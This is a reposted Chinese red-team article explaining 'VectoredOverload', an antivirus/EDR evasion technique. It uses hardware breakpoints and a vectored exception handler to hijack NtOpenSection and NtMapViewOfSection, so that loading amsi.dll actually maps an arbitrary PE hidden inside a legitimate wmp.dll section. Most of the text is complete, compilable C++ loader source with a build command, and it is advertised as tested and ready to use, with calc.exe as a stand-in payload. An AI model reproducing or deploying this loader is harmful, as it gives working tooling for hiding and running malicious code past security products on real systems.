文章总结: 本文详解了VectoredOverload免杀技术,通过硬件断点结合VEH机制劫持NtOpenSection与NtMapViewOfSection函数。利用合法wmp.dll作为容器加载恶意PE并重定位,在LoadLibraryW加载amsi.dll时通过异常回调篡改返回句柄与内存地址,从而隐蔽执行恶意代码。文章包含完整原理图解、验证截图及可运行的C++源码,具有较高实战价值。 综合评分: 90 文章分类: 免杀,红队,内网渗透
免杀新技术——VectoredOverload详解与实现
原创
小和安全
小和安全
2025年12月29日 16:09 江苏
本文的代码放在文章末尾,已经过笔者修补和测试,可以完整运行(2025.12.29 15:00)后面会同步更新到rust模块,直接调用,公众号后台回复loader获取链接和详细介绍。已经将完整代码上传仓库,并打包成dll,可以直接拿来用,公众号后台回复20251229获取GitHub仓库地址。
概念
硬件断点:简单来说就是在一个内存地址下断点,当CPU访问(读、写、执行)时就会触发这个断点,在这里停住,本质就是一种异常,当触发这个断点时,会触发异常处理机制(VEH)。
异常处理机制(VEH):是一种系统级别的异常处理机制,简单来说就是告诉程序触发异常后怎么做,可以执行我们自定义的函数。
原理
当我们调用loadLibraryW加载一个dll到内存中时,会调用以下两个重要函数:
ZwOpenSection:打开现有节对象的句柄。
ZwMapViewOfSection:将节对象映射到内存中。
(我们在用户态调用时,应该写作NtOpenSection和NtMapViewOfSection)
现在就可以提出我们的思路了:
1.加载一个不常用的wmp.dll到内存中,这样可以得到一块干净的、可覆盖的内存,以及一个指向合法wmp.dll节对象的句柄。
2.用我们的恶意PE文件覆盖这块wmp.dll的内存。
3.利用loadLibraryW加载一个amsi.dll,篡改ZwOpenSection,给它返回指向合法wmp.dll节对象的句柄,再篡改ZwMapViewOfSection给它返回指向恶意PE文件的内存。
4.程序以为加载的是amsi.dll,实际上加载的是wmp.dll,而且它的内容被篡改为我们的恶意PE文件了。
5.我们在程序里面手动调用恶意代码即可,看起来像在调用合法amsi.dll一样。
实现
现在我们就开始一步一步实现了:
1.加载并篡改内存的wmp.dll:
先用CreateFileW打开wmp.dll句柄,再用NtCreateSection创建它的节对象,再用NtMapOfSection将它映射到内存中。
再用VirtualAlloc修改内存属性为可读写,然后调用memset清空它的内存内容,再写入我们的恶意PE文件(这里用calc.exe示例)。
2.修复并重定位恶意PE文件
我们的恶意PE文件(calc.exe)从自己的位置移到了wmp.dll的位置,相对偏移改变了,我们需要修复所有硬编码的地址,并且由于它是exe,我们需要手动修改PE头让它变成一个dll文件,并且将入口点清零,然后手动设置内存属性为可执行。
3.利用loadLibraryW加载一个amsi.dll,篡改ZwOpenSection,给它返回指向合法wmp.dll节对象的句柄,再篡改ZwMapViewOfSection给它返回指向恶意PE文件的内存。
这里的关键是如何篡改ZwOpenSection和ZwMapViewOfSection,直接篡改太显眼容易被EDR检测,我们可以在这两个函数下硬件断点,然后自定义VEH回调函数,这样在执行到ZwOpenSection和ZwMapViewOfSection函数时触发断点,就会跳转到我们的自定义函数执行。
首先篡改ZwOpenSection函数,我们下硬件断点,执行到函数入口时,直接跳到我们的自定义VEH函数,我们直接给它返回wmp.dll的句柄,然后直接跳到ret,从而跳过ZwOpenSection的内部逻辑:
同理,程序执行到ZwCreateMapViewOfSection时,也触发断点直接跳到我们的VEH函数,我们直接给它返回恶意PE文件的地址,然后跳到ret从而跳过它的内部逻辑:
现在我们通过loadLibraryW加载的amsi.dll,其实指向的是内容为恶意PE文件的合法wmp.dll。
4.手动调用恶意PE文件执行
手动跳转到入口点执行即可
验证
我们使用如下代码,验证一下:只加载amsi.dll的时候是什么情况:
#include <Windows.h>#include <stdio.h>
int main(){ printf("Before LoadLibraryW...\n");
HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
if (hAmsi) { printf("amsi.dll loaded at: 0x%p\n", hAmsi); FreeLibrary(hAmsi); } else { printf("Failed to load amsi.dll, error: %d\n", GetLastError()); }
printf("Press Enter to exit...\n"); getchar(); return 0;}
执行之后,我们看一下模块加载情况,可以看到真的加载了amsi.dll
但是我们用本文研究的技术加载一下amsi.dll,实际上我们篡改了NtOpenSection和NtMapViewOfSection,可以看见没有加载amsi.dll
执行成功,成功弹计算器
完整可用源码
#include <Windows.h>#include <stdio.h>#include <tlhelp32.h>#include <winternl.h>#if defined(_WIN32) && !defined(_WIN64)#error This project must be compiled as 64-bit (x64). 32-bit build is not supported.#endif#define CTX_FLAGS (CONTEXT_DEBUG_REGISTERS)#define DR_TYPE UINT64typedef enum _SECTION_INHERIT{ ViewShare = 1, ViewUnmap = 2} SECTION_INHERIT;#pragma comment(lib, "ntdll.lib")EXTERN_C NTSYSAPI NTSTATUS NTAPI NtOpenSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtContinue(PCONTEXT ContextRecord, BOOLEAN TestAlert);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateSection(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL);EXTERN_C NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);enum LdrState{ StateOpenSection = 0, StateMapViewOfSection, StateClose};LdrState gLdrState = LdrState::StateOpenSection;SIZE_T gViewSize = 0;PVOID gBaseAddress = NULL;HANDLE gSectionHandle = NULL;BOOL SetHardwareBreakpoint(const PVOID address, PCONTEXT ctx){ if (ctx) { ctx->Dr7 = 1LL; ctx->Dr0 = (DWORD64)address; NtContinue(ctx, FALSE); } else { // Default to current thread if no context was given CONTEXT context = { 0 }; context.ContextFlags = CTX_FLAGS; HANDLE hThread = GetCurrentThread(); if (!GetThreadContext(hThread, &context)) return FALSE; context.Dr7 = 1; context.Dr0 = (DWORD64)address; if (!SetThreadContext(hThread, &context)) return FALSE; } return TRUE;}LONG InjectHandler(PEXCEPTION_POINTERS ExceptionInfo){ if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) { CONTEXT* ctx = ExceptionInfo->ContextRecord; switch (gLdrState) { case LdrState::StateOpenSection: { printf("触发NtOpenSection断点\r\n"); *(PHANDLE)ctx->Rcx = gSectionHandle; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); gLdrState = LdrState::StateMapViewOfSection; SetHardwareBreakpoint((PVOID)NtMapViewOfSection, ctx); NtContinue(ctx, FALSE); return EXCEPTION_CONTINUE_EXECUTION; } break; case LdrState::StateMapViewOfSection: { printf("触发NtMapViewOfSection断点\r\n"); if ((HANDLE)ctx->Rcx != gSectionHandle) return EXCEPTION_CONTINUE_EXECUTION; printf("确认拦截到wmp.dll句柄\r\n"); PVOID* baseAddrPtr = (PVOID*)ctx->R8; PSIZE_T viewSizePtr = *(PSIZE_T*)(ctx->Rsp + 0x38); ULONG* allocTypePtr = (ULONG*)(ctx->Rsp + 0x48); ULONG* protectPtr = (ULONG*)(ctx->Rsp + 0x50); if (baseAddrPtr) *baseAddrPtr = gBaseAddress; if (viewSizePtr) *viewSizePtr = gViewSize; *allocTypePtr = 0; *protectPtr = PAGE_EXECUTE_READWRITE; ctx->Rax = 0; BYTE* rip = (BYTE*)ctx->Rip; while (*rip != 0xC3) ++rip; ctx->Rip = (ULONG_PTR)(rip); ctx->Dr0 = 0LL; ctx->Dr1 = 0LL; ctx->Dr2 = 0LL; ctx->Dr3 = 0LL; ctx->Dr6 = 0LL; ctx->Dr7 = 0LL; ctx->EFlags |= 0x10000u; NtContinue(ctx, FALSE); return EXCEPTION_CONTINUE_EXECUTION; } break; } } // 添加默认返回值 return EXCEPTION_CONTINUE_SEARCH;}BOOL ApplyRelocations( PBYTE base, SIZE_T imageSize, ULONGLONG newBase, ULONGLONG oldBase){ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew); ULONGLONG delta = newBase - nt->OptionalHeader.ImageBase; if (!delta) return TRUE; IMAGE_DATA_DIRECTORY relocDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (!relocDir.VirtualAddress || !relocDir.Size) return TRUE; SIZE_T processed = 0; PIMAGE_BASE_RELOCATION block = (PIMAGE_BASE_RELOCATION)(base + relocDir.VirtualAddress); while (processed < relocDir.Size && block->SizeOfBlock) { DWORD count = (block->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD* entry = (WORD*)((PBYTE)block + sizeof(IMAGE_BASE_RELOCATION)); for (DWORD i = 0; i < count; i++, entry++) { WORD type = *entry >> 12; WORD offset = *entry & 0xFFF; BYTE* patchAddr = base + block->VirtualAddress + offset; if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD*)patchAddr += (DWORD)delta; else if (type == IMAGE_REL_BASED_DIR64) *(ULONGLONG*)patchAddr += delta; } processed += block->SizeOfBlock; block = (PIMAGE_BASE_RELOCATION)((PBYTE)block + block->SizeOfBlock); } return TRUE;}BOOL CopyImageSections( PBYTE sourceBuffer, PVOID baseAddress, SIZE_T viewSize){ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)sourceBuffer; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(sourceBuffer + dos->e_lfanew); // Copy headers SIZE_T headersSize = nt->OptionalHeader.SizeOfHeaders; memcpy(baseAddress, sourceBuffer, headersSize); // Copy sections PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { if (sec->SizeOfRawData == 0) continue; BYTE* dst = (BYTE*)baseAddress + sec->VirtualAddress; BYTE* src = sourceBuffer + sec->PointerToRawData; SIZE_T size = sec->SizeOfRawData; if ((sec->VirtualAddress + size) > viewSize) size = viewSize - sec->VirtualAddress; memcpy(dst, src, size); } return TRUE;}BOOL ApplySectionProtections( PVOID baseAddress){ PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)baseAddress; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)baseAddress + dos->e_lfanew); PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt); for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) { DWORD protect; DWORD old; if (sec->Characteristics & IMAGE_SCN_MEM_EXECUTE) { if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_EXECUTE_READWRITE; else if (sec->Characteristics & IMAGE_SCN_MEM_READ) protect = PAGE_EXECUTE_READ; else protect = PAGE_EXECUTE; } else { if (sec->Characteristics & IMAGE_SCN_MEM_WRITE) protect = PAGE_READWRITE; else if (sec->Characteristics & IMAGE_SCN_MEM_READ) protect = PAGE_READONLY; else protect = PAGE_NOACCESS; } PVOID addr = (BYTE*)baseAddress + sec->VirtualAddress; SIZE_T size = sec->Misc.VirtualSize; if (!size) size = sec->SizeOfRawData; VirtualProtect(addr, size, protect, &old); } return TRUE;}int main(){ printf("\n"); printf(" ******************************\n"); printf(" * 小和安全 *\n"); printf(" * Xiaohe Security *\n"); printf(" ******************************\n"); printf("\n"); DWORD oldProt; DWORD bytesRead; HANDLE hCalc = CreateFileW(L"C:\\Windows\\System32\\calc.exe", GENERIC_READ | GENERIC_EXECUTE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); if (hCalc == INVALID_HANDLE_VALUE) { printf("打开calc.exe文件失败!\n"); return 1; } DWORD fileSize = GetFileSize(hCalc, NULL); BYTE* pTargetPeBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize); ReadFile(hCalc, pTargetPeBuf, fileSize, &bytesRead, NULL); CloseHandle(hCalc); PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pTargetPeBuf; PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pTargetPeBuf + dos->e_lfanew); DWORD entrypoint_offset = nt->OptionalHeader.AddressOfEntryPoint; if (!(nt->FileHeader.Characteristics & IMAGE_FILE_DLL)) { nt->FileHeader.Characteristics |= IMAGE_FILE_DLL; nt->OptionalHeader.AddressOfEntryPoint = 0; } HANDLE hWmp = CreateFileW(L"C:\\Windows\\system32\\wmp.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hWmp == INVALID_HANDLE_VALUE) { printf("打开wmp.dll文件失败!\n"); return 1; } NTSTATUS status = NtCreateSection(&gSectionHandle, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hWmp); CloseHandle(hWmp); if (status < 0) { printf("NtCreateSection创建wmp.dll的节对象失败,错误码: 0x%08X\n", status); return 1; } status = NtMapViewOfSection(gSectionHandle, GetCurrentProcess(), &gBaseAddress, 0, 0, NULL, &gViewSize, ViewShare, 0, PAGE_READWRITE); if (status < 0) { printf("NtMapViewOfSection映射wmp.dll到内存中失败,错误码: 0x%08X\n", status); return 1; } VirtualProtect(gBaseAddress, nt->OptionalHeader.SizeOfImage, PAGE_READWRITE, &oldProt); memset(gBaseAddress, 0, nt->OptionalHeader.SizeOfImage); CopyImageSections(pTargetPeBuf, gBaseAddress, gViewSize); HeapFree(GetProcessHeap(), 0, pTargetPeBuf); ApplyRelocations((PBYTE)gBaseAddress, nt->OptionalHeader.SizeOfImage, (ULONGLONG)gBaseAddress, nt->OptionalHeader.ImageBase); ApplySectionProtections(gBaseAddress); printf("内存基址: %p\n", gBaseAddress); printf("内存区域大小: %zu\n", gViewSize); printf("wmp.dll节对象句柄: %p\n", gSectionHandle); PVOID handler = AddVectoredExceptionHandler(1u, (PVECTORED_EXCEPTION_HANDLER)InjectHandler); SetHardwareBreakpoint((PVOID)NtOpenSection, NULL); HMODULE base = LoadLibraryW(L"amsi.dll"); if (!base) { printf("加载amsi.dll失败\n"); return 1; } printf("加载amsi.dll成功,地址: 0x%llx\r\n", base); if (handler) RemoveVectoredExceptionHandler(handler); PVOID entryPoint = (BYTE*)gBaseAddress + entrypoint_offset; printf("PE文件入口点: %p\n", entryPoint); ((void (*)())entryPoint)(); return 0;}
编译命令:
g++ -std=c++17 -o VEHoverloading.exe VEHoverloading.cpp -lntdll
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小和安全 小和安全《免杀新技术——VectoredOverload详解与实现》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论